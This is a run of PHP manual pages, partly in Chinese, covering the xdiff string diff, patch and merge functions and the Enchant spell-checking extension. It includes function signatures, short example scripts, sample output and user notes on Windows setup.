There are no user contributed notes for this page.


别名 xdiff_string_bdiff

  • ? xdiff_string_bpatch
  • xdiff_string_diff ?
  • PHP Manual
  • xdiff 函数
  • 别名 xdiff_string_bdiff

xdiff_string_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_string_diff_binary — 别名 xdiff_string_bdiff()

说明

xdiff_string_bdiff(string $old_data, string $new_data): string

Makes a binary diff of two strings and returns the result. This function works with both text and binary data. Resulting patch can be later applied using xdiff_string_bpatch()/xdiff_file_bpatch().

Starting with version 1.5.0 this function is an alias of xdiff_string_bdiff().

参数

old_data

First string with binary data. It acts as "old" data.

new_data

Second string with binary data. It acts as "new" data.

返回值

Returns string with result or false if an internal error happened.

参见

  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


Make unified diff of two strings

  • ? xdiff_string_diff_binary
  • xdiff_string_merge3 ?
  • PHP Manual
  • xdiff 函数
  • Make unified diff of two strings

xdiff_string_diff

(PECL xdiff >= 0.2.0)

xdiff_string_diff — Make unified diff of two strings

说明

xdiff_string_diff(
string $old_data,
string $new_data,
int $context = 3,
bool $minimal = false
): string

Makes an unified diff containing differences between old_data string and new_data string and returns it. The resulting diff is human-readable. An optional context parameter specifies how many lines of context should be added around each change. Setting minimal parameter to true will result in outputting the shortest patch file possible (can take a long time).

参数

old_data

First string with data. It acts as "old" data.

new_data

Second string with data. It acts as "new" data.

context

Indicates how many lines of context you want to include in the diff result.

minimal

Set this parameter to true if you want to minimalize the size of the result (can take a long time).

返回值

Returns string with resulting diff or false if an internal error happened.

示例

Example #1 xdiff_string_diff() example

The following code makes unified diff of two articles.

<?php
$old_article = file_get_contents('./old_article.txt');
$new_article = $_REQUEST['article']; /* Let's say that someone pasted a new article to html form */

$diff = xdiff_string_diff($old_article, $new_article, 1);
if (is_string($diff)) {
echo "Differences between two articles:\n";
echo $diff;
}

?>

注释

Note:

This function doesn't work well with binary strings. To make diff of binary strings use xdiff_string_bdiff()/xdiff_string_rabdiff().

参见

  • xdiff_string_patch() - Patch a string with an unified diff

User Contributed Notes

There are no user contributed notes for this page.


Merge 3 strings into one

  • ? xdiff_string_diff
  • xdiff_string_patch_binary ?
  • PHP Manual
  • xdiff 函数
  • Merge 3 strings into one

xdiff_string_merge3

(PECL xdiff >= 0.2.0)

xdiff_string_merge3 — Merge 3 strings into one

说明

xdiff_string_merge3(
string $old_data,
string $new_data1,
string $new_data2,
string &$error = ?
): mixed

Merges three strings into one and returns the result. The old_data is an original version of data while new_data1 and new_data2 are modified versions of an original. An optional error is used to pass any rejected parts during merging process.

参数

old_data

First string with data. It acts as "old" data.

new_data1

Second string with data. It acts as modified version of old_data.

new_data2

Third string with data. It acts as modified version of old_data.

error

If provided then rejected parts are stored inside this variable.

返回值

Returns the merged string, false if an internal error happened, or true if merged string is empty.

参见

  • xdiff_file_merge3() - Merge 3 files into one

User Contributed Notes

There are no user contributed notes for this page.


别名 xdiff_string_bpatch

  • ? xdiff_string_merge3
  • xdiff_string_patch ?
  • PHP Manual
  • xdiff 函数
  • 别名 xdiff_string_bpatch

xdiff_string_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_string_patch_binary — 别名 xdiff_string_bpatch()

说明

xdiff_string_patch_binary(string $str, string $patch): string

Patches a string str with a binary patch. This function accepts patches created both via xdiff_string_bdiff() and xdiff_string_rabdiff() functions or their file counterparts.

Starting with version 1.5.0 this function is an alias of xdiff_string_bpatch().

参数

str

The original binary string.

patch

The binary patch string.

返回值

Returns the patched string, or false on error.

参见

  • xdiff_string_bpatch() - Patch a string with a binary diff
  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_rabdiff() - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.


Patch a string with an unified diff

  • ? xdiff_string_patch_binary
  • xdiff_string_rabdiff ?
  • PHP Manual
  • xdiff 函数
  • Patch a string with an unified diff

xdiff_string_patch

(PECL xdiff >= 0.2.0)

xdiff_string_patch — Patch a string with an unified diff

说明

xdiff_string_patch(
string $str,
string $patch,
int $flags = ?,
string &$error = ?
): string

Patches a str string with an unified patch in patch parameter and returns the result. patch has to be an unified diff created by xdiff_file_diff()/xdiff_string_diff() function. An optional flags parameter specifies mode of operation. Any rejected parts of the patch will be stored inside error variable if it is provided.

参数

str

The original string.

patch

The unified patch string. It has to be created using xdiff_string_diff(), xdiff_file_diff() functions or compatible tools.

flags

flags can be either XDIFF_PATCH_NORMAL (default mode, normal patch) or XDIFF_PATCH_REVERSE (reversed patch).

Starting from version 1.5.0, you can also use binary OR to enable XDIFF_PATCH_IGNORESPACE flag.

error

If provided then rejected parts are stored inside this variable.

返回值

Returns the patched string, or false on error.

示例

Example #1 xdiff_string_patch() example

The following code applies changes to some article.

<?php
$old_article = file_get_contents('./old_article.txt');
$diff = $_SERVER['patch']; /* Let's say that someone pasted a patch to html form */

$errors = '';

$new_article = xdiff_string_patch($old_article, $diff, XDIFF_PATCH_NORMAL, $errors);
if (is_string($new_article)) {
echo "New article:\n";
echo $new_article;
}

if (strlen($errors)) {
echo "Rejects: \n";
echo $errors;
}

?>

参见

  • xdiff_string_diff() - Make unified diff of two strings

User Contributed Notes

There are no user contributed notes for this page.


Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

  • ? xdiff_string_patch
  • 国际化与字符编码支持 ?
  • PHP Manual
  • xdiff 函数
  • Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

xdiff_string_rabdiff

(PECL xdiff >= 1.5.0)

xdiff_string_rabdiff — Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

说明

xdiff_string_bdiff(string $old_data, string $new_data): string

Makes a binary diff of two strings and returns the result. The difference between this function and xdiff_string_bdiff() is different algorithm used which should result in faster execution and smaller diff produced. This function works with both text and binary data. Resulting patch can be later applied using xdiff_string_bpatch()/xdiff_file_bpatch().

For more details about differences between algorithm used please check » libxdiff website.

参数

old_data

First string with binary data. It acts as "old" data.

new_data

Second string with binary data. It acts as "new" data.

返回值

Returns string with binary diff containing differences between "old" and "new" data or false if an internal error occurred.

参见

  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.


国际化与字符编码支持

  • Enchant — Enchant spelling library
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Enchant 函数
    • EnchantBroker — The EnchantBroker class
    • EnchantDictionary — The EnchantDictionary class
  • Gender — Determine gender of firstnames
    • 简介
    • 安装/配置
    • 示例
    • Gender\Gender — The Gender\Gender class
  • Gettext
    • 简介
    • 安装/配置
    • 预定义常量
    • Gettext 函数
  • iconv
    • 简介
    • 安装/配置
    • 预定义常量
    • iconv 函数
  • intl — Internationalization Functions
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Collator — The Collator class
    • NumberFormatter — The NumberFormatter class
    • Locale — The Locale class
    • Normalizer — The Normalizer class
    • MessageFormatter — The MessageFormatter class
    • IntlCalendar — The IntlCalendar class
    • IntlGregorianCalendar — The IntlGregorianCalendar class
    • IntlTimeZone — The IntlTimeZone class
    • IntlDateFormatter — The IntlDateFormatter class
    • ResourceBundle — The ResourceBundle class
    • Spoofchecker — The Spoofchecker class
    • Transliterator — The Transliterator class
    • IntlBreakIterator — The IntlBreakIterator class
    • IntlRuleBasedBreakIterator — The IntlRuleBasedBreakIterator class
    • IntlCodePointBreakIterator — The IntlCodePointBreakIterator class
    • IntlDatePatternGenerator — The IntlDatePatternGenerator class
    • IntlPartsIterator — The IntlPartsIterator class
    • UConverter — The UConverter class
    • Grapheme 函数
    • IDN 函数
    • IntlChar
    • IntlException — Exception class for intl errors
    • IntlIterator — The IntlIterator class
    • intl 函数
  • 多字节字符串
    • 简介
    • 安装/配置
    • 预定义常量
    • 支持编码的摘要
    • 日文字符多字节编码基础
    • HTTP 输入和输出
    • 支持的字符编码
    • 函数重载功能
    • PHP字符编码的要求
    • 多字节字符串 函数
  • Pspell
    • 简介
    • 安装/配置
    • 预定义常量
    • Pspell 函数
    • PSpell\Dictionary — The PSpell\Dictionary class
    • PSpell\Config — The PSpell\Config class
  • Recode — GNU Recode
    • 简介
    • 安装/配置
    • 预定义常量
    • Recode 函数

User Contributed Notes

There are no user contributed notes for this page.


Enchant spelling library

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Enchant 函数
    • enchant_broker_describe — Enumerates the Enchant providers
    • enchant_broker_dict_exists — Whether a dictionary exists or not. Using non-empty tag
    • enchant_broker_free_dict — Free a dictionary resource
    • enchant_broker_free — Free the broker resource and its dictionaries
    • enchant_broker_get_dict_path — Get the directory path for a given backend
    • enchant_broker_get_error — Returns the last error of the broker
    • enchant_broker_init — Create a new broker object capable of requesting
    • enchant_broker_list_dicts — Returns a list of available dictionaries
    • enchant_broker_request_dict — Create a new dictionary using a tag
    • enchant_broker_request_pwl_dict — Creates a dictionary using a PWL file
    • enchant_broker_set_dict_path — Set the directory path for a given backend
    • enchant_broker_set_ordering — Declares a preference of dictionaries to use for the language
    • enchant_dict_add_to_personal — 别名 enchant_dict_add
    • enchant_dict_add_to_session — Add 'word' to this spell-checking session
    • enchant_dict_add — Add a word to personal word list
    • enchant_dict_check — Check whether a word is correctly spelled or not
    • enchant_dict_describe — Describes an individual dictionary
    • enchant_dict_get_error — Returns the last error of the current spelling-session
    • enchant_dict_is_added — Whether or not 'word' exists in this spelling-session
    • enchant_dict_is_in_session — 别名 enchant_dict_is_added
    • enchant_dict_quick_check — Check the word is correctly spelled and provide suggestions
    • enchant_dict_store_replacement — Add a correction for a word
    • enchant_dict_suggest — Will return a list of values if any of those pre-conditions are not met
  • EnchantBroker — The EnchantBroker class
  • EnchantDictionary — The EnchantDictionary class

User Contributed Notes

pavel dot bazika at icewarp dot com 17-Jun-2013 12:34
As of PHP 5.4.13 and 5.3.23 it is still possible to override default enchant brokers directory using Windows registry key HKLM/Software/Enchant/Config/Module_Dir or Linux environment variable ENCHANT_CONFIG_DIR.
wschalle at gmail dot com 25-Apr-2013 08:40
As of PHP 5.4.13 and 5.3.23, enchant now requires the broker plugins (libenchant_ispell.dll, libenchant_myspell.dll) to be placed in the <PHP_DIR>/lib/enchant directory. If they are not in that directory, they will silently fail to load, and calls to enchant_broker_describe will return an empty array.


简介

Enchant is the PHP binding for the » Enchant library. Enchant steps in to provide uniformity and conformity on top of all spelling libraries, and implement certain features that may be lacking in any individual provider library. Everything should "just work" for any and every definition of "just working."

Enchant supports the following backends:

  • Aspell/Pspell (intends to replace Ispell)

  • Ispell (old as sin, could be interpreted as a defacto standard)

  • MySpell/Hunspell (an OOo projects, also used by Mozilla)

  • Uspell (primarily Yiddish, Hebrew, and Eastern European languages - hosted in AbiWord's CVS under the module "uspell")

  • Hspell (Hebrew)

  • AppleSpell (Mac OSX)

User Contributed Notes

There are no user contributed notes for this page.


需求

This version uses the functions of the » Enchant library by Dom Lachowicz. You need Enchant 1.2.4 or later. Enchant 2.0.0 or later is only supported as of PHP 8.0.0.

Enchant also requires » Glib 2.6 or greater. Pre-compiled Windows libraries are available from » http://ftp.gnome.org/pub/gnome/binaries/win32/glib/.

User Contributed Notes

taubers at gmail dot com 29-Jan-2013 05:46
If you are using macport you may not have this installed. This can be rectified with: sudo port install php5-iconv


安装

Provided the required libraries are installed, users may enable enchant by adding the --with-enchant[=dir] option when compiling PHP.

Windows users must enable php_enchant.dll in order to use this extension.

Note: Additional setup on Windows

为了使此扩展生效， DLL 文件必须能在 Windows 系统的 PATH 指示的路径下找到。如何操作的信息，请参见题为"如何在 Windows 中将 PHP 目录加到 PATH 中"的FAQ。虽然将 DLL 文件从 PHP 文件夹复制到 Windows 系统目录也行，但不建议这样做。 此扩展需要下列文件在 PATH 路径中： libenchant.dll, glib-2.dll, gmodule-2.dll.

Furthermore, it is necessary to copy at least one of the shipped providers in lib\enchant to \usr\local\lib\enchant-2 (which is an absolute path from the root of the current drive). Prior to PHP 8.0.0, i.e. using Enchant v1, the providers had to be copied to C:\enchant_plugins instead, where this path could be customized by creating the registry value HKEY_CURRENT_USER\SOFTWARE\Enchant\Config\Module_Dir and setting it to the desired path.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

Prior to PHP 8.0.0, there are two types of resources in this extension. The first one is the broker (backends manager) and the second is for the dictionary.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

LIBENCHANT_VERSION (string)
The version of libenchant. Available as of PHP 8.0.0.
ENCHANT_MYSPELL (int)
Dictionary type for MySpell. Used with enchant_broker_get_dict_path() and enchant_broker_set_dict_path(). Deprecated as of PHP 8.0.0.
ENCHANT_ISPELL (int)
Dictionary type for Ispell. Used with enchant_broker_get_dict_path() and enchant_broker_set_dict_path(). Deprecated as of PHP 8.0.0.

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Enchant Usage Example

<?php
$tag = 'en_US';
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "Current broker provides the following backend(s):\n";
print_r($bprovides);

$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
if (enchant_broker_dict_exists($r,$tag)) {
$d = enchant_broker_request_dict($r, $tag);
$dprovides = enchant_dict_describe($d);
echo "dictionary $tag provides:\n";
$wordcorrect = enchant_dict_check($d, "soong");
print_r($dprovides);
if (!$wordcorrect) {
$suggs = enchant_dict_suggest($d, "soong");
echo "Suggestions for 'soong':";
print_r($suggs);
}
enchant_broker_free_dict($d);
} else {
}
enchant_broker_free($r);
?>

User Contributed Notes

ch1902 15-Aug-2013 09:58
One thing to add to robert.johnson's very helpful post, I found that the dictionary files (*.dic and *.aff) could only contain A-Z and _ characters or they wouldn't be listed in the output of enchant_broker_list_dicts() (at least for PHP 5.4 / Windows).

This was an issue when downloading some of the dictionary files from https://addons.mozilla.org/firefox/language-tools/ where the file names contained hyphens, pt-BR for example. Just replace the hyphen with an underscore in the file name and enchant recognises the language code.
robert dot johnson at icap dot com 14-Aug-2013 04:21
To repeat a note by  wschalle at gmail dot com on page http://www.php.net/manual/en/book.enchant.php

The enchant library does not work unless libenchant_myspell.dll and libenchant_ispell.dll are placed in [PHP]\lib\enchant from PHP 5.4.13.

Dictionaries will still load from [PHP]\share\myspell\dicts.
robert dot johnson at icap dot com 03-Sep-2012 12:49
Here is help for Windows users:

You need to add dictionaries to your computer for Enchant.

1. Enchant looks in your registry keys, I don't know what keys it wants, but it looks here - I ignored all of these:
  * Default User\Software\Enchant\Config
  * Default User\Software\Enchant\Ispell
  * Default User\Software\Enchant\Myspell
2. It looks for OpenOffice dictionaries (from the registry settings for OpenOffice)
3. It looks in folder [PHP]\share\myspell\dicts

I got it working by copying the en-us dictionary files from Firefox into \share\myspell\dicts, and renaming them en_US.*.  You can download and install dictionaries from OpenOffice from here I think: http://extensions.services.openoffice.org/dictionary

Enchant creates and writes to the following folder, so you must allow PHP read and write permissions to: [SYSTEM32]\config\systemprofile\Application Data\enchant

It would be convenient if Enchant could accept parameters to specify the location of the main dictionaries and user-dictionaries, I suppose the registry keys are the only way to do it.


Enchant 函数

Table of Contents

  • enchant_broker_describe — Enumerates the Enchant providers
  • enchant_broker_dict_exists — Whether a dictionary exists or not. Using non-empty tag
  • enchant_broker_free_dict — Free a dictionary resource
  • enchant_broker_free — Free the broker resource and its dictionaries
  • enchant_broker_get_dict_path — Get the directory path for a given backend
  • enchant_broker_get_error — Returns the last error of the broker
  • enchant_broker_init — Create a new broker object capable of requesting
  • enchant_broker_list_dicts — Returns a list of available dictionaries
  • enchant_broker_request_dict — Create a new dictionary using a tag
  • enchant_broker_request_pwl_dict — Creates a dictionary using a PWL file
  • enchant_broker_set_dict_path — Set the directory path for a given backend
  • enchant_broker_set_ordering — Declares a preference of dictionaries to use for the language
  • enchant_dict_add_to_personal — 别名 enchant_dict_add
  • enchant_dict_add_to_session — Add 'word' to this spell-checking session
  • enchant_dict_add — Add a word to personal word list
  • enchant_dict_check — Check whether a word is correctly spelled or not
  • enchant_dict_describe — Describes an individual dictionary
  • enchant_dict_get_error — Returns the last error of the current spelling-session
  • enchant_dict_is_added — Whether or not 'word' exists in this spelling-session
  • enchant_dict_is_in_session — 别名 enchant_dict_is_added
  • enchant_dict_quick_check — Check the word is correctly spelled and provide suggestions
  • enchant_dict_store_replacement — Add a correction for a word
  • enchant_dict_suggest — Will return a list of values if any of those pre-conditions are not met

User Contributed Notes

There are no user contributed notes for this page.


Enumerates the Enchant providers

  • ? Enchant 函数
  • enchant_broker_dict_exists ?
  • PHP Manual
  • Enchant 函数
  • Enumerates the Enchant providers

enchant_broker_describe

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0)

enchant_broker_describe — Enumerates the Enchant providers

说明

enchant_broker_describe(EnchantBroker $broker): array

Enumerates the Enchant providers and tells you some rudimentary information about them. The same info is provided through phpinfo().

参数

broker

An Enchant broker returned by enchant_broker_init().

返回值

Returns an array of available Enchant providers with their details.

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.
8.0.0 | Prior to this version, the function returned false on failure.

示例

Example #1 List the backends provided by the given broker

<?php
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "Current broker provides the following backend(s):\n";
print_r($bprovides);

?>

以上示例的输出类似于：

Current broker provides the following backend(s):
Array
(
    [0] => Array
        (
            [name] => aspell
            [desc] => Aspell Provider
            [file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [name] => hspell
            [desc] => Hspell Provider
            [file] => /usr/lib/enchant/libenchant_hspell.so
        )

    [2] => Array
        (
            [name] => ispell
            [desc] => Ispell Provider
            [file] => /usr/lib/enchant/libenchant_ispell.so
        )

    [3] => Array
        (
            [name] => myspell
            [desc] => Myspell Provider
            [file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Whether a dictionary exists or not. Using non-empty tag

  • ? enchant_broker_describe
  • enchant_broker_free_dict ?
  • PHP Manual
  • Enchant 函数
  • Whether a dictionary exists or not. Using non-empty tag

enchant_broker_dict_exists

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_dict_exists — Whether a dictionary exists or not. Using non-empty tag

说明

enchant_broker_dict_exists(EnchantBroker $broker, string $tag): bool

Tells if a dictionary exists or not, using a non-empty tags

参数

broker

An Enchant broker returned by enchant_broker_init().

tag

non-empty tag in the LOCALE format, ex: us_US, ch_DE, etc.

返回值

Returns true when the tag exist or false when not.

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.

示例

Example #1 A enchant_broker_dict_exists() example

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
echo $tag . " dictionary found.\n";
}
?>

参见

  • enchant_broker_describe() - Enumerates the Enchant providers

User Contributed Notes

There are no user contributed notes for this page.


Free a dictionary resource

  • ? enchant_broker_dict_exists
  • enchant_broker_free ?
  • PHP Manual
  • Enchant 函数
  • Free a dictionary resource

enchant_broker_free_dict

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_free_dict — Free a dictionary resource

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

enchant_broker_free_dict(EnchantDictionary $dictionary): bool

Free a dictionary. As of PHP 8.0.0, it is recommended to unset the object instead of calling this function.

参数

dictionary

An Enchant dictionary returned by enchant_broker_request_dict() or enchant_broker_request_pwl_dict().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | dictionary expects a EnchantDictionary now; previoulsy, a resource was expected.

参见

  • enchant_broker_request_dict() - Create a new dictionary using a tag
  • enchant_broker_request_pwl_dict() - Creates a dictionary using a PWL file

User Contributed Notes

There are no user contributed notes for this page.


Free the broker resource and its dictionaries

  • ? enchant_broker_free_dict
  • enchant_broker_get_dict_path ?
  • PHP Manual
  • Enchant 函数
  • Free the broker resource and its dictionaries

enchant_broker_free

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_free — Free the broker resource and its dictionaries

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

enchant_broker_free(EnchantBroker $broker): bool

Free a broker with all its dictionaries. As of PHP 8.0.0, it is recommended to unset the object instead of calling this function.

参数

broker

An Enchant broker returned by enchant_broker_init().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.

参见

  • enchant_broker_init() - Create a new broker object capable of requesting

User Contributed Notes

There are no user contributed notes for this page.


Get the directory path for a given backend

  • ? enchant_broker_free
  • enchant_broker_get_error ?
  • PHP Manual
  • Enchant 函数
  • Get the directory path for a given backend

enchant_broker_get_dict_path

(PHP 5 >= 5.3.1, PHP 7, PHP 8, PECL enchant >= 1.0.1)

enchant_broker_get_dict_path — Get the directory path for a given backend

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

enchant_broker_get_dict_path(EnchantBroker $broker, int $type): string|false

Get the directory path for a given backend.

参数

broker

An Enchant broker returned by enchant_broker_init().

type

The type of the dictionaries, i.e. ENCHANT_MYSPELL or ENCHANT_ISPELL.

返回值

Returns the path of the dictionary directory on success 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.

注释

Note:

This function is only available if the extension has been compiled with Enchant v1.

参见

  • enchant_broker_set_dict_path() - Set the directory path for a given backend

User Contributed Notes

There are no user contributed notes for this page.


Returns the last error of the broker

  • ? enchant_broker_get_dict_path
  • enchant_broker_init ?
  • PHP Manual
  • Enchant 函数
  • Returns the last error of the broker

enchant_broker_get_error

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_get_error — Returns the last error of the broker

说明

enchant_broker_get_error(EnchantBroker $broker): string|false

Returns the last error which occurred in this broker.

参数

broker

An Enchant broker returned by enchant_broker_init().

返回值

Return the msg string if an error was found or false

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.

User Contributed Notes

There are no user contributed notes for this page.


Create a new broker object capable of requesting

  • ? enchant_broker_get_error
  • enchant_broker_list_dicts ?
  • PHP Manual
  • Enchant 函数
  • Create a new broker object capable of requesting

enchant_broker_init

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_init — Create a new broker object capable of requesting

说明

enchant_broker_init(): EnchantBroker|false

参数

返回值

Returns a broker resource on success or false.

更新日志

版本 | 说明
8.0.0 | On success, this function returns an EnchantBroker instance now; previously, a resource was returned.

参见

  • enchant_broker_free() - Free the broker resource and its dictionaries

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of available dictionaries

  • ? enchant_broker_init
  • enchant_broker_request_dict ?
  • PHP Manual
  • Enchant 函数
  • Returns a list of available dictionaries

enchant_broker_list_dicts

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 1.0.1)

enchant_broker_list_dicts — Returns a list of available dictionaries

说明

enchant_broker_list_dicts(EnchantBroker $broker): array

Returns a list of available dictionaries with their details.

参数

broker

An Enchant broker returned by enchant_broker_init().

返回值

Returns an array of available dictionaries with their details.

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.
8.0.0 | Prior to this version, the function returned false on failure.

示例

Example #1 List all available dictionaries for one broker

<?php
$r = enchant_broker_init();
$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [lang_tag] => de
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [lang_tag] => de_DE
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [3] => Array
        (
            [lang_tag] => en
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [4] => Array
        (
            [lang_tag] => en_GB
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [5] => Array
        (
            [lang_tag] => en_US
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [6] => Array
        (
            [lang_tag] => hi_IN
            [provider_name] => myspell
            [provider_desc] => Myspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

参见

  • enchant_broker_describe() - Enumerates the Enchant providers

User Contributed Notes

There are no user contributed notes for this page.


Create a new dictionary using a tag

  • ? enchant_broker_list_dicts
  • enchant_broker_request_pwl_dict ?
  • PHP Manual
  • Enchant 函数
  • Create a new dictionary using a tag

enchant_broker_request_dict

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_request_dict — Create a new dictionary using a tag

说明

enchant_broker_request_dict(EnchantBroker $broker, string $tag): EnchantDictionary|false

create a new dictionary using tag, the non-empty language tag you wish to request a dictionary for ("en_US", "de_DE", ...)

参数

broker

An Enchant broker returned by enchant_broker_init().

tag

A tag describing the locale, for example en_US, de_DE

返回值

Returns a dictionary resource on success 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.
8.0.0 | On success, this function returns an EnchantDictionary instance now; previoulsy, a resource was retured.

示例

Example #1 A enchant_broker_request_dict() example

Check if a dictionary exists using enchant_broker_dict_exists() and request it.

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
$dict = enchant_broker_request_dict($r, $tag);
}
?>

参见

  • enchant_dict_describe() - Describes an individual dictionary
  • enchant_broker_dict_exists() - Whether a dictionary exists or not. Using non-empty tag
  • enchant_broker_free_dict() - Free a dictionary resource

User Contributed Notes

There are no user contributed notes for this page.


Creates a dictionary using a PWL file

  • ? enchant_broker_request_dict
  • enchant_broker_set_dict_path ?
  • PHP Manual
  • Enchant 函数
  • Creates a dictionary using a PWL file

enchant_broker_request_pwl_dict

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_request_pwl_dict — Creates a dictionary using a PWL file

说明

enchant_broker_request_pwl_dict(EnchantBroker $broker, string $filename): EnchantDictionary|false

Creates a dictionary using a PWL file. A PWL file is personal word file one word per line.

参数

broker

An Enchant broker returned by enchant_broker_init().

filename

Path to the PWL file. If there is no such file, a new one will be created if possible.

返回值

Returns a dictionary resource on success 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.
8.0.0 | On success, this function returns an EnchantDictionary instance now; previoulsy, a resource was retured.

参见

  • enchant_dict_describe() - Describes an individual dictionary
  • enchant_broker_dict_exists() - Whether a dictionary exists or not. Using non-empty tag
  • enchant_broker_free_dict() - Free a dictionary resource

User Contributed Notes

There are no user contributed notes for this page.


Set the directory path for a given backend

  • ? enchant_broker_request_pwl_dict
  • enchant_broker_set_ordering ?
  • PHP Manual
  • Enchant 函数
  • Set the directory path for a given backend

enchant_broker_set_dict_path

(PHP 5 >= 5.3.1, PHP 7, PHP 8, PECL enchant >= 1.0.1)

enchant_broker_set_dict_path — Set the directory path for a given backend

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

enchant_broker_set_dict_path(EnchantBroker $broker, int $type, string $path): bool

Set the directory path for a given backend.

参数

broker

An Enchant broker returned by enchant_broker_init().

type

The type of the dictionaries, i.e. ENCHANT_MYSPELL or ENCHANT_ISPELL.

path

The path of the dictionary directory.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.

注释

Note:

This function is only available if the extension has been compiled with Enchant v1.

参见

  • enchant_broker_get_dict_path() - Get the directory path for a given backend

User Contributed Notes

There are no user contributed notes for this page.


Declares a preference of dictionaries to use for the language

  • ? enchant_broker_set_dict_path
  • enchant_dict_add_to_personal ?
  • PHP Manual
  • Enchant 函数
  • Declares a preference of dictionaries to use for the language

enchant_broker_set_ordering

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_set_ordering — Declares a preference of dictionaries to use for the language

说明

enchant_broker_set_ordering(EnchantBroker $broker, string $tag, string $ordering): bool

Declares a preference of dictionaries to use for the language described/referred to by 'tag'. The ordering is a comma delimited list of provider names. As a special exception, the "*" tag can be used as a language tag to declare a default ordering for any language that does not explicitly declare an ordering.

参数

broker

An Enchant broker returned by enchant_broker_init().

tag

Language tag. The special "*" tag can be used as a language tag to declare a default ordering for any language that does not explicitly declare an ordering.

ordering

Comma delimited list of provider names

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | broker expects an EnchantBroker instance now; previoulsy, a resource was expected.

User Contributed Notes

There are no user contributed notes for this page.


别名 enchant_dict_add

  • ? enchant_broker_set_ordering
  • enchant_dict_add_to_session ?
  • PHP Manual
  • Enchant 函数
  • 别名 enchant_dict_add

enchant_dict_add_to_personal

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_add_to_personal — 别名 enchant_dict_add()

Warning

该别名已在 PHP 8.0.0 中 废弃。

说明
